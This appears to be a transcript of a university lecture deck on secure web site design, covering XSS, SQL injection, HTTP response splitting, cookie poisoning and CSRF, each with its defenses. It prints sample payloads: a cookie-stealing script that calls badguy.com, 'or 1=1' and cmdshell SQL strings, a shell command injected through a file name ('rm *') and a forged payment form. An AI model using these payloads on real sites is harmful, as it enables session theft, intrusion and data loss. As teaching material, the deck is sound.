secure web site design

42
1 Secure Web Site Design Dan Boneh CS 155 Spring 2006

Upload: wang-pruitt

Post on 01-Jan-2016

16 views

Category:

Documents


1 download

DESCRIPTION

Spring 2006. CS 155. Secure Web Site Design. Dan Boneh. Authorization Netegrity (CA) Oblix (Oracle). Schematic web site architecture. WS 1. Firewall. Firewall. Application Firewall (WAF). Load Balancer. DB. App Servers. WS 2. WS 3. IDS. To CC processor. - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: Secure Web Site Design

1

Secure Web Site Design

Dan Boneh

CS 155 Spring 2006

Page 2: Secure Web Site Design

2

Schematic web site architecture

IDS

ApplicationFirewall(WAF)

Fire

wall

LoadBalancer DB

WS1

WS2

WS3

Fire

wall

Authorization

Netegrity (CA)Oblix (Oracle)

To CCprocessor

AppServers

Page 3: Secure Web Site Design

3

Web Application Firewalls

• Prevent some attacks we discuss today:• SQL Injection• Form field tampering• Cookie poisoning

• Some examples: Imperva Kavado Interdo F5 TrafficShield Citrix NetScaler CheckPoint Web Intelligence

Page 4: Secure Web Site Design

4

Our focus: web app code

Common web-site attacks:

Denial of Service: later in course

Attack the web server (IIS, Apache) : e.g. control hijacking: CodeRed, Nimda, … Solutions:

Harden web server: stackguard, libsafe, … Worm defense: later in course.

Host based intrusion detection, Worm signatures generation, shields.

Today: Common vulnerabilities in web application code

Page 5: Secure Web Site Design

5

Web app code

Runs on web server or app server. Takes input from web users (via web server) Interacts with the database and 3rd parties. Prepares results for users (via web server)

Examples: Shopping carts, home banking, bill pay, tax

prep, … New code written for every web site.

Written in: C, PHP, Perl, Python, JSP, ASP, … Often written with little consideration for

security.

Page 6: Secure Web Site Design

6

Common vulnerabilities (OWASP)

Inadequate validation of user input Cross site scripting SQL Injection HTTP Splitting

Broken session management Can lead to session hijacking and data theft

Insecure storage Sensitive data stored in the clear. Prime target for theft – e.g. egghead, Verizon. Note: PCI Data Security Standard (Visa,

Mastercard)

Page 7: Secure Web Site Design

7

Warm up: a simple example

Direct use of user input:

http://victim.com/ copy.php ? name=username

copy.php:

Problem: http://victim.com/ copy.php ? name=“a ; rm

*”

(should be: name=a%20;%20rm%20* )

script name script input

system(“cp temp.dat $name.dat”)

Page 8: Secure Web Site Design

8

Redirects

EZShopper.com shopping cart (10/2004):http://…/cgi-bin/ loadpage.cgi ? page=url

Redirects browser to url

Redirects are common on many sites Used to track when user clicks on external link EZShopper uses redirect to add HTTP headers

Problem: phishing

http://victim.com/cgi-bin/loadpage ? page=phisher.com

Link to victim.com puts user at phisher.com

Local redirects should ensure target URL is local

Page 9: Secure Web Site Design

9

Cross Site Scripting

Page 10: Secure Web Site Design

10

The setup

User input is echoed into HTML response.

Example: search field

http://victim.com/search.php ? term = apple

search.php responds with:<HTML> <TITLE> Search Results </TITLE>

<BODY>

Results for <?php echo $_GET[term] ?> :

. . .

</BODY> </HTML>

Is this exploitable?

Page 11: Secure Web Site Design

11

Bad input

Problem: no validation of input term

Consider link: (properly URL encoded)

http://victim.com/search.php ? term =

<script> window.open(

“http://badguy.com?cookie = ” +

document.cookie ) </script>

What if user clicks on this link?1. Browser goes to victim.com/search.php2. Victim.com returns

<HTML> Results for <script> … </script>

3. Browser executes script: Sends badguy.com cookie for victim.com

Page 12: Secure Web Site Design

12

So what?

Why would user click on such a link? Phishing email in webmail client (e.g. gmail). Link in doubleclick banner ad … many many ways to fool user into clicking

What if badguy.com gets cookie for victim.com ? Cookie can include session auth for

victim.com

Or other data intended only for victim.com Violates same origin policy

Page 13: Secure Web Site Design

13

Even worse

Attacker can execute arbitrary scripts in browser

Can manipulate any DOM component on victim.com Control links on page Control form fields (e.g. password field) on

this page and linked pages.

Can infect other users: MySpace.com worm.

Page 14: Secure Web Site Design

14

MySpace.com (Samy worm)

Users can post HTML on their pages MySpace.com ensures HTML contains no

<script>, <body>, onclick, <a href=javascript://>

… but can do Javascript within CSS tags:<div style=“background:url(‘javascript:alert(1)’)”>

And can hide “javascript” as “java\nscript”

With careful javascript hacking: Samy’s worm: infects anyone who visits an infected

MySpace page … and adds Samy as a friend. Samy had millions of friends within 24 hours.

More info: http://namb.la/popular/tech.html

Page 15: Secure Web Site Design

15

Avoiding XSS bugs (PHP)

Main problem: Input checking is difficult --- many ways to inject

scripts into HTML.

Preprocess input from user before echoing it

PHP: htmlspecialchars(string)& &amp; " &quot; ' &#039;

< &lt; > &gt;

htmlspecialchars( "<a href='test'>Test</a>", ENT_QUOTES);

Outputs: &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;

Page 16: Secure Web Site Design

16

Avoiding XSS bugs (ASP.NET)

ASP.NET 1.1:

Server.HtmlEncode(string) Similar to PHP htmlspecialchars

validateRequest: (on by default)

Crashes page if finds <script> in POST data.

Looks for hardcoded list of patterns.

Can be disabled:

<%@ Page validateRequest=“false"  %>

Page 17: Secure Web Site Design

17

Page 18: Secure Web Site Design

18

SQL Injection

Page 19: Secure Web Site Design

19

The setup

User input is used in SQL query

Example: login page (ASP)

set ok = execute(“SELECT * FROM UserTable

WHERE username=′ ” & form(“user”) &

“ ′ AND password=′ ” & form(“pwd”) & “ ′ ” );

If not ok.EOF

login success

else fail;

Is this exploitable?

Page 20: Secure Web Site Design

20

Bad input

Suppose user = “ ′ or 1 = 1 -- ” (URL encoded)

Then scripts does:ok = execute( SELECT …

WHERE username= ′ ′ or 1=1 -- … )

The ‘- -’ causes rest of line to be ignored.

Now ok.EOF is always false.

The bad news: easy login to many sites this way.

Page 21: Secure Web Site Design

21

Even worse

Suppose user = ′ exec cmdshell

′net user badguy badpwd′ / ADD --

Then script does:ok = execute( SELECT …

WHERE username= ′ ′ exec … )

If SQL server context runs as “sa”, attacker gets account on DB server.

Page 22: Secure Web Site Design

22

Avoiding SQL injection

Build SQL queries by properly escaping args: ′ \′

Example: Parameterized SQL: (ASP.NET 1.1) Ensures SQL arguments are properly escaped.

SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection);

cmd.Parameters.Add("@User", Request[“user”] );

cmd.Parameters.Add("@Pwd", Request[“pwd”] );

cmd.ExecuteReader();

Page 23: Secure Web Site Design

23

HTTP Response Splitting

Page 24: Secure Web Site Design

24

The setup

User input echoed in HTTP header.

Example: Language redirect page (JSP) <% response.redirect(“/by_lang.jsp?lang=” +

request.getParameter(“lang”) ) %>

Browser sends http://.../by_lang.jsp ? lang=frenchServer HTTP Response:

HTTP/1.1 302 (redirect)Date: …

Location: /by_lang.jsp ? lang=french

Is this exploitable?

Page 25: Secure Web Site Design

25

Bad input

Suppose browser sends:

http://.../by_lang.jsp ? lang=

“ french \n

Content-length: 0 \r\n\r\n

HTTP/1.1 200 OK

Spoofed page ” (URL encoded)

Page 26: Secure Web Site Design

26

Bad input

HTTP response from server looks like:

HTTP/1.1 302 (redirect)Date: …

Location: /by_lang.jsp ? lang= french

Content-length: 0

HTTP/1.1 200 OK

Content-length: 217

Spoofed page

lan

g

Page 27: Secure Web Site Design

27

So what?

What just happened: Attacker submitted bad URL to victim.com

URL contained spoofed page in it Got back spoofed page

So what? Cache servers along path now store

spoof of victim.com Will fool any user using same cache server

Defense: don’t do that.

Page 28: Secure Web Site Design

28

Summary thus far

Page 29: Secure Web Site Design

29

App code

Little programming knowledge can be dangerous: Cross site scripting SQL Injection HTTP Splitting

What to do?

Band-aid: Web App Firewall (WAF) Looks for attack patterns and blocks

requests False positive / false negatives

Code checking

Page 30: Secure Web Site Design

30

Code checking

Blackbox security testing services: Whitehatsec.com

Automated blackbox testing tools: Cenzic, Hailstorm Spidynamic, WebInspect eEye, Retina

Web application hardening tools: WebSSARI [WWW’04] : based on information

flow Nguyen-Tuong [IFIP’05] : based on tainting

Page 31: Secure Web Site Design

31

Session Management

Cookies, hidden fields, and user authentication

Page 32: Secure Web Site Design

32

Cookies

Used to store state on user’s machine

BrowserServer

GET …

HTTP Header:Set-cookie: NAME=VALUE ;

domain = (who can read) ;

expires = (when expires) ;

secure = (only over SSL)

BrowserServerGET …

Cookie: NAME = VALUE

Http is stateless protocol; cookies add state

If expires=NULL:this session only

Page 33: Secure Web Site Design

33

Cookies

Brower will store: At most 20 cookies/site, 3 KB / cookie

Uses: User authentication Personalization User tracking: e.g. Doubleclick (3rd party

cookies)

Page 34: Secure Web Site Design

34

Cookie risks

Danger of storing data on browser: User can change values

Silly example: Shopping cart software.Set-cookie: shopping-cart-total = 150 ($)

User edits cookie file (cookie poisoning):Cookie: shopping-cart-total = 15 ($)

… bargain shopping.

Similar behavior with hidden fields:<INPUT TYPE=“hidden” NAME=price VALUE=“150”>

Page 35: Secure Web Site Design

35

Not so silly … (as of 2/2000)

D3.COM Pty Ltd: ShopFactory 5.8@Retail Corporation: @RetailAdgrafix: Check It OutBaron Consulting Group: WebSite Tool ComCity Corporation: SalesCartCrested Butte Software: EasyCartDansie.net: Dansie Shopping CartIntelligent Vending Systems: IntellivendMake-a-Store: Make-a-Store OrderPageMcMurtrey/Whitaker & Associates: Cart32 3.0 [email protected]: CartMan 1.04 Rich Media Technologies: JustAddCommerce 5.0 SmartCart: SmartCartWeb Express: Shoptron 1.2

Source: http://xforce.iss.net/xforce/xfdb/4621

Page 36: Secure Web Site Design

36

Example: dansie.net shopping cart

http://www.dansie.net/demo.html (May, 2006)

<FORM METHOD=POST

ACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl">

Black Leather purse with leather straps<BR>Price: $20.00<BR>

<INPUT TYPE=HIDDEN NAME=name VALUE="Black leather purse"> <INPUT TYPE=HIDDEN NAME=price VALUE="20.00"> <INPUT TYPE=HIDDEN NAME=sh VALUE="1"> <INPUT TYPE=HIDDEN NAME=img VALUE="purse.jpg"> <INPUT TYPE=HIDDEN NAME=return VALUE="http://www.dansie.net/demo.html"> <INPUT TYPE=HIDDEN NAME=custom1 VALUE="Black leather purse

with leather straps">

<INPUT TYPE=SUBMIT NAME="add" VALUE="Put in Shopping Cart">

</FORM>

CVE-2000-0253 (Jan. 2001), BugTraq ID: 1115

Page 37: Secure Web Site Design

37

Solution

When storing state on browser MAC data using server secret key.

.NET 2.0: System.Web.Configuration.MachineKey

Secret web server key intended for cookie protection

HttpCookie cookie = new HttpCookie(name, val); HttpCookie encodedCookie =

HttpSecureCookie.Encode (cookie);

HttpSecureCookie.Decode (cookie);

Page 38: Secure Web Site Design

38

Cookie authentication

Browser Web Server Auth server

POST login.cgiUsername & pwd Validate user

auth=valStore val

Set-cookie: auth=val

GET restricted.htmlCookie: auth=val restricted.html

auth=val

YES/NOIf YES, restricted.html

Check val

Page 39: Secure Web Site Design

39

Weak authenticators: security risk

Predictable cookie authenticator Verizon Wireless - counter Valid user logs in, gets counter, can view

sessions of other users.

Weak authenticator generation: [Fu et al. ’01] WSJ.com: cookie = {user, MACk(user) } Weak MAC exposes K from few cookies.

Apache Tomcat: generateSessionID() MD5(PRNG) … but weak PRNG [GM’05]. Predictable SessionID’s

Page 40: Secure Web Site Design

40

Cookie auth is insufficientExample: User logs in to bank.com. Forgets to sign off. Session cookie remains in browser state

Then user visits another site containing: <form name=F

action=http://bank.com/BillPay.php> <input name=recipient value=badguy> … <script> document.F.submit(); </script>

Browser sends user auth cookie with request Transaction will be fulfilled

Problem: cookie auth is insufficient when side effects can

happen Correct use: use cookies + hidden fields

Page 41: Secure Web Site Design

41

Take home message:

On the web:Little programming knowledge

can be a dangerous thing

Page 42: Secure Web Site Design

42

THE END